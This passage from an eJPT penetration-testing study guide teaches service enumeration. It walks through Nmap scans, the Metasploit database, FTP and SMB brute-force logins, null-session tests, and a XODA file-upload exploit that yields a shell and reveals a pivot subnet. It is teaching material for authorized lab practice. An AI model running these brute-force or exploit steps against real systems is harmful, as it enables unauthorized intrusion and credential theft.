eJPT Study Guide: Module 1.3 Assessment Methodologies: Enumeration

INE eJPT Study Guide

Course: INE Security eJPT (Junior Penetration Tester)

Module: 1.3 Assessment Methodologies: Enumeration

Use: Authorized lab practice and legal study only

Table of Contents

1. Module at a Glance
2. Big Picture Map
3. Concept-by-Concept Guide
   3.1 What Enumeration Is, and Which Protocols Get Targeted
   3.2 Nmap for Enumeration Support: -Pn, -sV -O, and XML Export
   3.3 Driving Metasploit From a Shared Database: Workspaces, Import, and Tables
   3.4 Auxiliary Modules, the Lab's Pivot Layout, and Jumping Into Exploitation
   3.5 FTP Enumeration
   3.6 SMB Enumeration
   3.7 Web Server / HTTP Enumeration
   3.8 MySQL Enumeration
   3.9 SSH Enumeration
   3.10 SMTP Enumeration
4. Chained Scenarios
   Scenario A: FTP secret to a wider foothold
   Scenario B: SMB null session to credentialed share access
   Scenario C: Web app to pivot to a second subnet, enumerate MySQL there
5. Decision Guide and Exam Strategy
6. Practice
7. Recap Card and Flashcards
8. Glossary
9. Coverage Report

Source: INE eJPT course, module "1.3 Assessment Methodologies: Enumeration". Order of blocks follows the order of the course screenshots.

1. Module at a Glance

Module name: 1.3 Assessment Methodologies: Enumeration.

Exam domains fed:

- Assessment Methodologies (25 percent): this module's main home. Service enumeration is a named methodology step, and Metasploit workspace and auxiliary module usage both live here.
- Host and Network Auditing (25 percent): enumerating SMB shares, FTP files, web paths, and SQL schemas is how you audit what a host exposes.
- Host and Network Penetration Testing (35 percent): credentials and version strings found during enumeration (FTP, SMB, SSH, MySQL) are what you use to get a foothold and move to other hosts (pivoting).

What the exam expects from this module: after you find open ports, the lab expects you to enumerate every service in depth: grab banners and versions, list users, list shares, brute-force logins, read files, and run SQL queries. Metasploit's auxiliary modules are the main engine for this work, backed by a shared database so your findings (hosts, services, credentials, loot) survive between commands and between team members.

The 10 things to remember most:

1. Enumeration comes after host discovery and port scanning. It means gathering detailed, service-level information: accounts, shares, banners, misconfigurations.
2. `nmap -Pn` is needed whenever Nmap reports "Host seems down" but you know (or suspect) the host is up and just blocks ping.
3. Save Nmap results with `-oX <file>` so Metasploit can import them with `db_import`. This avoids re-scanning and keeps one shared database.
4. Metasploit workspaces (`workspace -a <name>`) separate the hosts, services, and credentials of different engagements or targets.
5. `hosts` , `services` , `vulns` , `loot` , and `creds` are the five tables you read back from the Metasploit database at any time.
6. Auxiliary modules are not exploits. They scan, enumerate, brute-force, and fuzz. They almost always need `RHOSTS` set before `run` .
7. Default credential/word lists live under `/usr/share/metasploit-framework/data/wordlists/` .
8. Anonymous/null sessions (no username or password) can still unlock a lot on FTP and SMB. Always test them.
9. Each service has its own enumeration pattern: version first, then users/shares/directories, then a login brute-force, then post-login data extraction (files, schemas, hashes).

10. Pivoting means using a compromised host's second network interface to reach a subnet you could not scan directly before.

Skill checklist (I can ...):

- I can explain what enumeration is and why it follows port scanning.
- I can import an Nmap XML scan into the Metasploit database and read it back with `hosts` and `services`.
- I can create and switch Metasploit workspaces to keep engagements apart.
- I can run `db_nmap` to scan and auto-import in one step.
- I can use an auxiliary port scanner and chain it into an exploit search.
- I can enumerate FTP banners, test anonymous and brute-forced logins, and download files with the `ftp` client.
- I can enumerate SMB users and shares, test null sessions with `smbclient -N` and `rpcclient`, and browse shares with `smbclient`.
- I can enumerate HTTP headers, directories, files, and users, and can brute-force an HTTP login and upload a file with `http_put`.
- I can enumerate a MySQL server's version, users, databases, and schema, run SQL through Metasploit, dump password hashes, and find writable directories.
- I can enumerate SSH version and valid usernames, and interact with a Metasploit SSH session.
- I can enumerate SMTP users with `VRFY` / `EXPN` using netcat or telnet, and can send a raw email by hand.

> **REMEMBER:** Everything in this guide is for authorized labs and legal practice only. Only enumerate and brute-force systems you own or have written permission to test.

2. Big Picture Map

Enumeration sits right after scanning and feeds every later phase. The credentials, shares, and files you find here are usually what gets you from "a list of open ports" to "a shell on the box."

```
1 Scoping
  |
2 Passive recon
  |
3 Active recon (host discovery, port scan, OS/service fingerprint)
  |
4 ENUMERATION <==== THIS MODULE
  |  per service: version -> users/shares/paths -> login brute-force
  |  -> read files / run queries / dump hashes
  v
5 Vulnerability assessment (map versions to known CVEs/exploits)
  |
6 Exploitation (initial access, e.g. xoda_file_upload -> meterpreter)
  |
7 Post-exploitation (new network interface found on compromised host)
  |
8 Pivoting (repeat steps 3-4 on the new subnet)
  |
9 Reporting
```

Step	Role of this module	Output you keep
Scanning	Supplies ports/services to enumerate	Port/service list
Enumeration	Depth per service: who, what, where	Users, shares, creds
Vuln assessment	Version strings map to exploits	CVE/exploit matches
Exploitation	Credentials and uploads give access	Shell/session
Pivoting	New NIC on a host opens a new subnet	New host list

3. Concept-by-Concept Guide

3.1 What Enumeration Is, and Which Protocols Get Targeted

In one line: Enumeration is the active process of pulling detailed, service-level facts (accounts, shares, misconfigurations, versions) out of every open port you found during scanning.

Theory in simple words. Scanning tells you a door is open (port 445 is open). Enumeration tells you what is behind the door (the SMB server has users john, elie, aisha, and a share called "public" with no password).

Analogy: scanning is checking which doors of a building are unlocked. Enumeration is walking through each unlocked door, reading the signs on the walls, opening unlocked cabinets, and writing down every name you see on a badge or a mailbox.

How it works:

1. Take the list of open ports and services from the scanning phase.
2. For each service, pick the matching enumeration tool or Metasploit auxiliary module.
3. Grab the banner/version first (it tells you the product and, often, the exact exploit to search for later).
4. Pull structured data: usernames, shares, directories, databases, mail aliases.
5. Try default, blank, or anonymous credentials, then brute-force with a word list if that fails.
6. If you get in, read files, run queries, or dump password hashes.
7. Record every finding immediately. You cannot answer an exam question from memory; you answer it from your notes.

ADDED CONTEXT: the notes list this as "active connections to the remote devices in the network." This matters for the exam: enumeration is noisy and detectable, just like scanning. In a real engagement you would coordinate timing with the client; in the eJPT lab you do not need to worry about this, but you should understand it for the Assessment Methodologies domain and for report writing.

> **EXAM TIP:** eJPT lab questions about this module almost always want a specific value: a username, a share name, a file's content, a password, or a hash. Enumerate every service fully before you try to answer, even if the first service looks like a dead end.

Lab question angle: "What is the name of a share on the SMB server?" or "What is the content of the file found on the FTP server?" These are only answerable if you actually ran the enumeration, not guessed.

Why it works and how defenders stop it: services answer requests about themselves because that is their job (a file server has to list files, an SMB server has to authenticate users). Defenders reduce this by disabling anonymous/null sessions, turning off banners, using strong unique passwords, and applying least-privilege share permissions.

Memory aid: Scan finds the door. Enumerate reads what's behind it.

3.2 Nmap for Enumeration Support: `-Pn`, `-sV -O`, and XML Export

Tool first introduced in Module 1.2 (host discovery and port scanning). This block covers the new commands shown in this module: handling a host that appears down, confirming service/OS detail, and exporting results so Metasploit can use them.

In one line: before deep enumeration, confirm the host is really up, confirm exact service versions, and save everything to a file Metasploit can read.

Theory in simple words, plus an analogy. Nmap's default scan pings a host first; if the ping is blocked, Nmap reports the host as down even though it may be fully alive. This is like

knocking on a door that has no doorbell and assuming nobody is home, when really the house has no doorbell by choice. `-Pn` means "skip the knock, just try the doors."

Hands-on.

Purpose: run a normal scan and see Nmap wrongly report the host as down.

```
nmap 10.4.22.173
```

Part-by-part:

Part	Meaning
`nmap`	the scanner binary
`10.4.22.173`	the single target IP

Sample output:

```
Starting Nmap 7.70 ( https://nmap.org ) at 2021-11-11 05:17 IST
Note: Host seems down. If it is really up, but blocking
our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.11 s
```

How to read it: "Host seems down" plus the direct hint to try `-Pn` is Nmap telling you its ping probe got no answer. This does not prove the host is offline.

Purpose: skip the ping check and scan the default 1000 TCP ports anyway.

```
nmap -Pn 10.4.22.173
```

Part-by-part: `-Pn` = "no ping", treat every target as online and scan it.

Sample output:

```
Nmap scan report for 10.4.22.173
Host is up (0.0091s latency).
Not shown: 993 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49154/tcp open  unknown
49155/tcp open  unknown
```

How to read it: seven ports are open. 135/139/445 point to Windows networking (RPC, NetBIOS, SMB), 3389 is Remote Desktop, 80 is a web server, and the two 49xxx ports are dynamic RPC endpoints.

Purpose: get the exact service version and guess the operating system in one pass.

```
nmap -Pn -sV -O 10.4.22.173
```

Part-by-part:

Flag	Meaning
`-Pn`	skip host discovery, assume up
`-sV`	probe open ports for service/version banners
`-O`	fingerprint the OS from TCP/IP stack behavior

Sample output:

```
PORT     STATE SERVICE      VERSION
80/tcp   open  http         HttpFileServer httpd 2.3
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008
                       R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server?
49154/tcp open  msrpc       Microsoft Windows RPC
49155/tcp open  msrpc       Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could
not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows Server 2012
```

How to read it: the `VERSION` column now names the exact product (HttpFileServer httpd 2.3). This single string is enough to search for a public exploit later. The OS block names Windows Server 2012, with a warning that the guess is based on incomplete data (no closed port was found to compare against).

Common mistake: running `-O` without root/sudo privileges fails silently or gives a worse guess, because OS fingerprinting needs raw socket access.

Purpose: save the full scan to a file that Metasploit can import.

```
nmap -Pn -sV -O 10.4.22.173 -oX windows_server_2012
```

Part-by-part: `-oX <file>` writes the results in Nmap's XML format to the named file (no extension is added automatically here; Metasploit does not require one).

Sample output: identical scan output as above, plus a new file on disk.

```
ls
```

```
Desktop  thinclient_drives  windows_server_2012
```

Variations: `-oN <file>` (normal text), `-oG <file>` (grepable), `-oA <basename>` (all three formats at once, useful when you are not sure which tool you will feed the results to).

Worked example. Target 10.10.10.20 refuses ping.

```
nmap 10.10.10.20
```

Result: "Host seems down." Then:

```
nmap -Pn -sV -O 10.10.10.20 -oX host20
```

Result: port 445 open, Windows Server 2012, file saved as `host20`. You move to 3.3 to import `host20` into Metasploit.

Lab question angle: "What is the exact version string of the service on port 80?" Only `-sV` gives this; the default scan only gives the service name guess ("http").

Why it works and how defenders stop it: version banners are sent by design so legitimate clients can negotiate features. Defenders mask or strip banners and block ICMP/TCP probes with a firewall, which is why `-Pn` is often still necessary even against a hardened host.

Memory aid: "P" in `-Pn` = "Ping, no." Use it whenever Nmap claims a host you believe is live is down.

3.3 Driving Metasploit From a Shared Database: Workspaces, Import, and Tables

In one line: Metasploit keeps a PostgreSQL database behind the console so every host, port, credential, and piece of loot you find is stored and can be reused by any module or recalled with a simple command.

Theory in simple words, plus an analogy. Think of the Metasploit database as a shared case file. Instead of writing facts on sticky notes that get lost, every scan and module writes its findings straight into one file that every other tool (and the next tool run after it) can read. A "workspace" is a separate case file for a separate engagement, so target A's notes never mix with target B's notes.

Hands-on. Tool: Metasploit Framework (`msfconsole`), on Kali/Parrot it ships by default, backed by `postgresql` .

Purpose: start the database service, then start the console.

```
service postgresql start
msfconsole
```

Sample output:

```
Starting PostgreSQL 12 database server: main.
       =[ metasploit v5.0.74-dev                  ]
+ -- --=[ 1972 exploits - 1088 auxiliary - 338 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops      ]
+ -- --=[ 7 evasion                                 ]
msf5 >
```

Purpose: confirm the console is actually talking to the database.

```
db_status
```

```
[*] Connected to msf. Connection type: postgresql.
```

If this instead reports "not connected", run `service postgresql start` again before continuing; no database-backed command below will work otherwise.

Purpose: list, then create and switch to, a workspace.

```
workspace
workspace -a Win2k12
```

Part-by-part: `workspace` alone lists all workspaces and marks the active one with `*`. `-a <name>` adds a new workspace and switches to it.

Sample output:

```
msf5 > workspace
* default
msf5 > workspace -a Win2k12
[*] Added workspace: Win2k12
[*] Workspace: Win2k12
msf5 > workspace
  default
* Win2k12
```

Common mistake: forgetting which workspace is active and importing a new target's scan into an old target's workspace. Always run `workspace` before `db_import` to confirm the `*`.

Purpose: import a previously saved Nmap XML scan (see 3.2) straight into the active workspace.

```
db_import /root/windows_server_2012
```

Part-by-part: the path/filename must point at the XML file written by `nmap -oX`. Metasploit auto-detects the file type (here, "Nmap XML").

Sample output:

```
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.7'
[*] Importing host 10.4.22.173
[*] Successfully imported /root/windows_server_2012
```

Purpose: read back what is now stored, with the built-in `hosts` and `services` commands.

```
hosts
services
```

Sample output:

```
Hosts
=====
address     mac  name  os_name      purpose  info
-------     ---  ----  -------      -------  ----
10.4.22.173           Windows 2012  server

Services
========
host        port   proto name            state info
----        ----   ----- ----            ----- ----
10.4.22.173  80    tcp   http            open  HttpFileServer...
10.4.22.173  135   tcp   msrpc           open  Microsoft RPC
10.4.22.173  139   tcp   netbios-ssn     open  ...
10.4.22.173  445   tcp   microsoft-ds    open  ...
10.4.22.173  3389  tcp   ssl/ms-wbt-server open
10.4.22.173  49154 tcp   msrpc           open  ...
10.4.22.173  49155 tcp   msrpc           open  ...
```

How to read it: this is the same data the raw Nmap scan showed, now queryable from inside Metasploit and usable by other modules without re-scanning.

Purpose: run Nmap from inside the console and auto-import in one step (skips the manual `-oX` + `db_import` dance).

```
workspace -a Nmap_MSF
db_nmap -Pn -sV -O 10.4.22.173
```

Part-by-part: `db_nmap` takes the exact same flags as `nmap`; the only difference is that the output is streamed into the console and the results are written to the active workspace automatically.

Sample output (abridged):

```
[*] Nmap: Starting Nmap 7.70 ...
[*] Nmap: 80/tcp    open  http  HttpFileServer httpd 2.3
[*] Nmap: Running (JUST GUESSING): Microsoft Windows 2012 (98%)
[*] Nmap: Aggressive OS guesses: Microsoft Windows Server 2012
   (98%), Microsoft Windows Server 2012 R2 (89%)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in
   85.46 seconds
```

Purpose: check for any vulnerabilities the database already knows about.

```
vulns
```

Sample output (nothing found yet, which is normal before a vulnerability scanner like Nessus or a module that flags a CVE has run):

```
Vulnerabilities
===============
Timestamp  Host  Name  References
```

Useful variations: `hosts -c address,os_name` to show only chosen columns; `services -p 445` to filter by port; `workspace -d <name>` to delete a workspace you no longer need.

Worked example. You scanned 10.10.10.30 earlier and saved `10_30_scan.xml`. In Metasploit:

```
workspace -a Client_Alpha
db_import /root/10_30_scan.xml
hosts
services
```

You now see the host and its ports without re-running Nmap, and any auxiliary module you run next will automatically default `RHOSTS` hints from this data.

Lab question angle: "Which workspace holds the scan for host X?" or "What service version did the import record for port Y?" Always answer from `services` / `hosts`, not from scrolling back through terminal history.

Why it works and how defenders stop it: this is tooling hygiene, not an attack on the target, so there is no direct defense; the relevant lesson for reporting is that a shared database prevents a team from losing track of findings across a long engagement.

Memory aid: "db_status before db_anything." Confirm the database connection before importing or scanning.

3.4 Auxiliary Modules, the Lab's Pivot Layout, and Jumping Into Exploitation

In one line: auxiliary modules are Metasploit's scanning, discovery, and brute-force tools; they are not exploits, but they are usually the step that finds the exploit or the credential you need.

Theory in simple words, plus an analogy. If exploit modules are the lockpicks, auxiliary modules are the flashlight, the tape measure, and the crowbar you use before you ever touch the lock. They gather information (port scanning, banner grabbing) and sometimes brute-force a service, but they do not by themselves give you code execution.

ADDED CONTEXT: auxiliary modules are also used after you already have a foothold. Once you compromise a host that sits on two networks, you can run the same scanner/auxiliary modules through that host to reach a second, otherwise unreachable, subnet. This technique is called **pivoting**.

How it works (lab layout from the notes):

```
You --- switch --- [Target 1] --- switch --- [Target 2]
```

1. Scan the first target's network with an auxiliary port scanner.
2. Find and exploit a vulnerable service on Target 1 to get a foothold.
3. From Target 1's shell, notice it has a second network interface.
4. Use that foothold to reach the second subnet (pivoting).
5. Run auxiliary scanners again, now aimed at Target 2.

Hands-on.

Purpose: start fresh and confirm the database again (new session).

```
service postgresql start
msfconsole
db_status
```

Purpose: create a dedicated workspace, then search for port-scanning auxiliary modules.

```
workspace -a Port_Scan
search portscan
```

Sample output (abridged, full module path trimmed to fit):

```
#  Name (scanner/portscan/...)  Rank    Description
-  ----                         ----    -----------
2  ack                          normal  TCP ACK FW Scanner
3  ftpbounce                    normal  FTP Bounce Scanner
4  syn                          normal  TCP SYN Scanner
5  tcp                          normal  TCP Port Scanner
6  xmas                         normal  TCP XMas Scanner
```

Purpose: select, configure, and run the TCP port scanner.

```
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS 192.86.140.3
run
```

Part-by-part (key options):

Option	Meaning
`CONCURRENCY`	how many ports per host to check at once (default 10)
`PORTS`	port range to scan (default 1-10000)
`RHOSTS`	target host(s)
`THREADS`	concurrent target threads
`TIMEOUT`	socket connect timeout in ms

Sample output:

```
[+] 192.86.140.3: - 192.86.140.3:80 - TCP OPEN
[*] 192.86.140.3: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Common mistake: the default `PORTS` range is only 1-10000, so a service on a higher port (for example 49154) will be missed unless you widen it with `set PORTS 1-65535`.

Purpose: confirm the web port manually.

```
curl 192.86.140.3
```

This simply requests the page over HTTP and prints the raw response, confirming a web server is really listening.

Purpose: identify and search for the exact application, then pivot into exploitation once the service is known.

```
search xoda
```

Sample output:

```
# Name                                  Date       Rank       Check
- ----                                  ----       ----       -----
0 exploit/unix/webapp/xoda_file_upload 2012-08-21  excellent Yes
```

```
use exploit/unix/webapp/xoda_file_upload
show options
set TARGETURI /
exploit
```

Part-by-part: `TARGETURI` is the web path where the vulnerable app lives; the default `/xoda/` did not match this lab's install, so it is reset to `/` (the app is installed at the web root here).

> **ADDED CONTEXT:** XODA is a small PHP document management web app. The named vulnerability (CVE-2012-4547, verify) lets an authenticated or, in weak configurations, unauthenticated user upload a PHP file disguised as an image, then request it directly to execute code on the server. This is exploitation, one step beyond enumeration, included here because the notes chain straight from the port scan into this exploit.

Purpose: once exploited, confirm the shell and the target's own network view (useful for spotting a pivot path).

```
meterpreter > shell
ifconfig
```

Sample output (abridged):

```
eth0  inet addr:192.86.140.3   Mask:255.255.255.0
eth1  inet addr:192.113.124.2  Mask:255.255.255.0
lo    inet addr:127.0.0.1      Mask:255.0.0.0
```

How to read it: `eth0` is the interface you already know about (it matches the address you scanned). `eth1` sits on a different subnet (192.113.124.0/24): this is the second NIC that opens a pivot into a new, previously unreachable network, matching the diagram above.

Worked example. Scope is 192.168.50.0/24 (Target 1 only reachable directly).

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.50.10
set PORTS 1-65535
run
```

Port 80 is open; `search <app name from the page>` finds a matching exploit; after exploitation, `ifconfig` inside the shell shows a second NIC on 192.168.60.0/24, which becomes the pivot target for later modules.

Lab question angle: "What is the name of the vulnerable application running on port 80?" or "What is the IP address of the second network interface on the compromised host?" Both are answered by the steps above, not by guessing.

Why it works and how defenders stop it: auxiliary scanners succeed because TCP/IP must respond to connection attempts to function; the file upload exploit succeeds because the web app does not validate file contents before saving them. Defenders patch or remove vulnerable web apps, validate uploaded file types/content, and segment networks so a single compromised host cannot reach every other subnet.

Memory aid: "Auxiliary finds it, exploit modules take it." Port scan to version to exploit to shell to `ifconfig` to pivot.

3.5 FTP Enumeration

In one line: FTP (File Transfer Protocol) moves files between a client and server over TCP port 21, and it is frequently misconfigured to allow anonymous (no-password) login.

Theory in simple words, plus an analogy. FTP is like an old-fashioned shared filing cabinet in an office lobby. Some cabinets require a badge (username/password); some are left unlocked for "anyone" (anonymous login). Either way, once you are in, you can read, and sometimes write, whatever is inside.

How it works:

1. Grab the FTP banner to learn the exact server software and version.
2. Search for a public exploit matching that version.
3. Try anonymous login; if it fails, brute-force with a user/password list.
4. Once logged in, list and download files.

Hands-on. Tool: Metasploit auxiliary modules plus the standard `ftp` command-line client (both ship on Kali).

Purpose: find FTP-related auxiliary modules.

```
search type:auxiliary name:ftp
```

This lists every auxiliary module whose name contains "ftp", including `ftp_version` (banner grabber) and `ftp_login` (brute-forcer).

Purpose: grab the FTP banner/version.

```
use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.51.147.3
run
```

Part-by-part (key options):

Option	Meaning
`FTPUSER`	username to try (default `anonymous`)
`FTPPASS`	password to try (default a fake email, a common anonymous-FTP convention)
`RHOSTS`	target address
`RPORT`	target port (default 21)

Sample output:

```
[+] 192.51.147.3:21 - FTP Banner: '220 ProFTPD 1.3.5a Server
   (AttackDefense-FTP) [::ffff:192.51.147.3]\x0d\x0a'
[*] Scanned 1 of 1 hosts (100% complete)
```

How to read it: the banner names the exact product and version, ProFTPD 1.3.5a, which is enough to search for a public exploit.

Purpose: search for exploits matching the exact version found.

```
search ProFTPD
```

Sample output (abridged):

```
 #  Name                              Date        Rank
 -  ----                              ----        ----
 5  exploit/unix/ftp/proftpd_133c_backdoor     2010-12-02  excellent
 6  exploit/unix/ftp/proftpd_modcopy_exec      2015-04-22  excellent
```

How to read it: these entries list vulnerabilities for different ProFTPD versions (1.3.3c, 1.3.5). Match the exact version string from the banner to the exploit's target version before trying it; a mismatch usually fails.

Purpose: brute-force FTP logins with word lists.

```
use auxiliary/scanner/ftp/ftp_login
show options
set USER_FILE /usr/share/metasploit-framework/data/\
wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/\
wordlists/unix_passwords.txt
run
```

Part-by-part (key options):

Option	Meaning
`USER_FILE`	path to a file of candidate usernames, one per line
`PASS_FILE`	path to a file of candidate passwords, one per line
`USERPASS_FILE`	file of "user password" pairs, one pair per line
`BLANK_PASSWORDS`	also try each user with an empty password
`USER_AS_PASS`	also try each username as its own password
`STOP_ON_SUCCESS`	stop guessing once one pair works
`VERBOSE`	print every attempt, not just successes

Common mistake: leaving `STOP_ON_SUCCESS` as `false` on a large word list wastes time once you already have one valid credential; set it to `true` for a quick win, or leave it `false` if you want every valid account.

Purpose: log in with a discovered credential and pull a file down.

```
ftp 192.51.147.3
```

Sample session:

```
Connected to 192.51.147.3.
220 ProFTPD 1.3.5a Server (AttackDefense-FTP)
Name (192.51.147.3:root): sysadmin
331 Password required for sysadmin
Password:
230 User sysadmin logged in
ftp> ls
-rw-r--r--  1 0  0  33 Nov 20  2018 secret.txt
ftp> get secret.txt
226 Transfer complete
ftp> exit
```

Then read the file locally:

```
cat secret.txt
```

```
260ca9dd8a4577fc00b7bd5810298076
```

How to read it: this 32-character hex string is almost certainly an MD5 hash (an MD5 digest is always 32 hex characters). In the exam, a value like this often needs to be identified and cracked in a later module (Hashcat/John), or submitted directly if the question only asks "what is the content of secret.txt".

Useful variations: `ftp> mget *` downloads every file in the current directory; `ftp> binary` switches to binary transfer mode before pulling non-text files (images, archives) to avoid corruption.

Worked example. Target 10.10.10.40 has FTP open.

```
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 10.10.10.40
run
```

Banner shows `vsftpd 2.3.4` (a famously backdoored version, verify in your own lab). You search `vsftpd`, find a matching backdoor exploit, but first you also try:

```
ftp 10.10.10.40
```

logging in as `anonymous` with a blank or email-style password, in case the simplest path already works before reaching for an exploit.

Lab question angle: "What is the FTP server software and version?" (from the banner) or "What is the content of the file you found on the FTP server?" (from `get` plus `cat`).

Why it works and how defenders stop it: FTP sends credentials and file contents in clear text and often ships with anonymous access enabled by default for convenience. Defenders disable anonymous login, replace FTP with SFTP/FTPS, and apply account lockouts against brute-forcing.

Memory aid: "Version, then vulnerability, then vault." Grab the version, search the vulnerability, then try the login (anonymous first).

3.6 SMB Enumeration

In one line: SMB (Server Message Block) is the Windows file and printer sharing protocol, reachable on TCP port 445 (or the older port 139 over NetBIOS), and SAMBA is the Linux/Unix implementation of it.

Theory in simple words, plus an analogy. SMB shares are like shared office folders on a network drive. Some folders need a login; some are left open to "Everyone." Finding the folder names (shares) and the staff directory (usernames) is most of the enumeration battle.

How it works:

1. Enumerate local users straight from the SMB service (no login needed in older/misconfigured setups).
2. Enumerate share names, and optionally the files inside them.
3. Test a null session (no credentials at all) with `smbclient` / `rpcclient`.
4. Find the server's NetBIOS computer name with `nmblookup`.
5. Brute-force a real login if null sessions are blocked.
6. Browse and download from shares with `smbclient`.

Hands-on. Tool: Metasploit SMB auxiliary modules, plus the Samba client suite (`smbclient`, `nmblookup`, `rpcclient`), all standard on Kali.

Purpose: read the module description before running it.

```
use auxiliary/scanner/smb/smb_enumusers
info
```

Sample output (abridged):

```
Name: SMB User Enumeration (SAM EnumUsers)
Description:
  Determine what local users exist via the SAM RPC service
Basic options:
  RHOSTS    yes  The target address range or CIDR identifier
  SMBDomain no   The Windows domain to use for authentication
  SMBPass   no   The password for the specified username
  SMBUser   no   The username to authenticate as
```

Purpose: run it against the target.

```
set RHOSTS 192.91.46.3
run
```

Sample output:

```
[+] 192.91.46.3:139 - SAMBA-RECON [ john, elie, aisha, shawn,
    emma, admin ] ( LockoutTries=0 PasswordMin=5 )
```

How to read it: six usernames are listed in one line, plus two policy facts: `LockoutTries=0` means the account lockout policy will not lock accounts after failed logins (brute-forcing is safe from lockouts here), and `PasswordMin=5` means the minimum password length policy is 5 characters (useful to narrow a password brute-force).

Purpose: enumerate the share names.

```
use auxiliary/scanner/smb/smb_enumshares
show options
run
```

Part-by-part (key options):

Option	Meaning
`ShowFiles`	list files inside each share, not just share names
`SpiderShares`	recurse into subdirectories of each share
`MaxDepth`	how many subdirectory levels to spider into
`LogSpider`	output format for the spider log (0 off, 1 CSV, 2 table, 3 one-liner)

Sample output (`ShowFiles` set to `true`):

```
[+] 192.91.46.3:139 - public - (DS)
[+] 192.91.46.3:139 - john - (DS)
[+] 192.91.46.3:139 - aisha - (DS)
[+] 192.91.46.3:139 - emma - (DS)
[+] 192.91.46.3:139 - everyone - (DS)
[+] 192.91.46.3:139 - IPC$ - (I) IPC Service
```

How to read it: `(DS)` marks a normal disk share; `(I)` marks `IPC$`, the inter-process communication share every Windows/Samba box exposes by default for RPC calls, not file storage. Five real shares were found, several named after the users seen above.

Purpose: brute-force an SMB login.

```
use auxiliary/scanner/smb/smb_login
set SMBUser admin
set PASS_FILE /usr/share/metasploit-framework/data/\
wordlists/unix_passwords.txt
run
```

Sample output:

```
[-] 192.91.46.3:445 - Failed: '.\admin:admin',
[-] 192.91.46.3:445 - Failed: '.\admin:123456',
[+] 192.91.46.3:445 - Success: '.\admin:password'
```

Part-by-part (new options vs. `ftp_login`):

Option	Meaning
`ABORT_ON_LOCKOUT`	stop the whole run if a lockout is detected
`DETECT_ANY_AUTH`	flag servers that accept literally any credential
`DETECT_ANY_DOMAIN`	check whether a domain name is actually required
`PRESERVE_DOMAINS`	keep a `DOMAIN\user` formatted username intact

Purpose: list shares from the command line with the found credential.

```
smbclient -L \\\\192.91.46.3\\ -U admin
```

Part-by-part: `-L` lists shares instead of connecting to one; `\\\\192.91.46.3\\` is the server's UNC path (the backslashes must be escaped in bash, hence the doubling); `-U admin` sets the username (you are prompted for the password).

Sample output:

```
Sharename       Type      Comment
---------       ----      -------
public          Disk
john            Disk
aisha           Disk
emma            Disk
everyone        Disk
IPC$            IPC       IPC Service (samba.recon.lab)

Workgroup            Master
---------            -------
RECONLABS            SAMBA-RECON
```

Purpose: connect into one specific share and browse it.

```
smbclient \\\\192.91.46.3\\public -U admin
```

```
smb: \> ls
  .      D    0  Tue Nov 27 2018
  ..     D    0  Tue Nov 27 2018
  dir    D    0  Tue Nov 27 2018
```

Inside the `smb:` prompt, use `ls` to list, `cd <dir>` to move, `get <file>` to download, and `exit` to leave, the same way you would in the `ftp` client.

Purpose: find the server's NetBIOS computer name.

```
nmblookup -A demo.ine.local
```

Part-by-part: `-A` asks for the full node status of the given host/IP.

Sample output:

```
Looking up status of 192.220.69.3
SAMBA-RECON     <00> -  H <ACTIVE>
SAMBA-RECON     <03> -  H <ACTIVE>
SAMBA-RECON     <20> -  H <ACTIVE>
RECONLABS       <00> - <GROUP> H <ACTIVE>
MAC Address = 00-00-00-00-00-00
```

How to read it: `SAMBA-RECON` is the NetBIOS computer name; `RECONLABS` is the workgroup/domain name. The `<20>` suffix marks the "File Server Service" record, confirming this host offers file sharing.

Purpose: test for a null session (anonymous, no credentials at all) two ways.

```
smbclient -L demo.ine.local -N
```

Part-by-part: `-N` suppresses the password prompt and sends no credentials. If shares are listed without any authentication error, null sessions are allowed, a real finding worth reporting.

```
rpcclient -U "" -N demo.ine.local
```

Part-by-part: `-U ""` sets an empty username; `-N` again sends no password. A clean `rpcclient $>` prompt with no error confirms anonymous access to the RPC endpoint.

Common mistake: forgetting `-N` on either tool causes an interactive password prompt that blocks automation and can be mistaken for a failed connection.

Worked example. Target 10.10.10.50 has port 445 open.

```
nmblookup -A 10.10.10.50
```

shows computer name `FILESRV`. Then:

```
smbclient -L 10.10.10.50 -N
```

lists share `backups` with no password needed. You connect:

```
smbclient \\\\10.10.10.50\\backups -N
```

and find a file containing a password, which you then try against SSH on the same host.

Lab question angle: "What is the NetBIOS name of the server?" (from `nmblookup`), "Are null sessions allowed?" (from `smbclient -N` / `rpcclient -N`), "What is the name of a non-default share?" (from `smb_enumshares` or `smbclient -L`).

Why it works and how defenders stop it: SMB historically trusted local network clients by default, including anonymous ones, for ease of use. Defenders disable null sessions (`RestrictAnonymous` registry setting on Windows, `security` settings in `smb.conf` on Samba), remove unneeded shares, and enforce strong share-level permissions.

Memory aid: "Users, Shares, Null, Name, Login" is the SMB enumeration order: `smb_enumusers`, `smb_enumshares`, null-session check, `nmblookup`, then `smb_login` if needed.

> **TRAP:** A share named after a username (like `john`) does not mean you can only access it as `john`. Many labs leave such shares open to `everyone` or to any authenticated account; always try connecting with whatever credential you already have.

3.7 Web Server / HTTP Enumeration

In one line: HTTP (Hypertext Transfer Protocol) runs on TCP port 80 by default and is the protocol used by every web server (Apache, Nginx, Microsoft IIS); enumerating it means reading its headers, finding its hidden paths and files, and testing its logins.

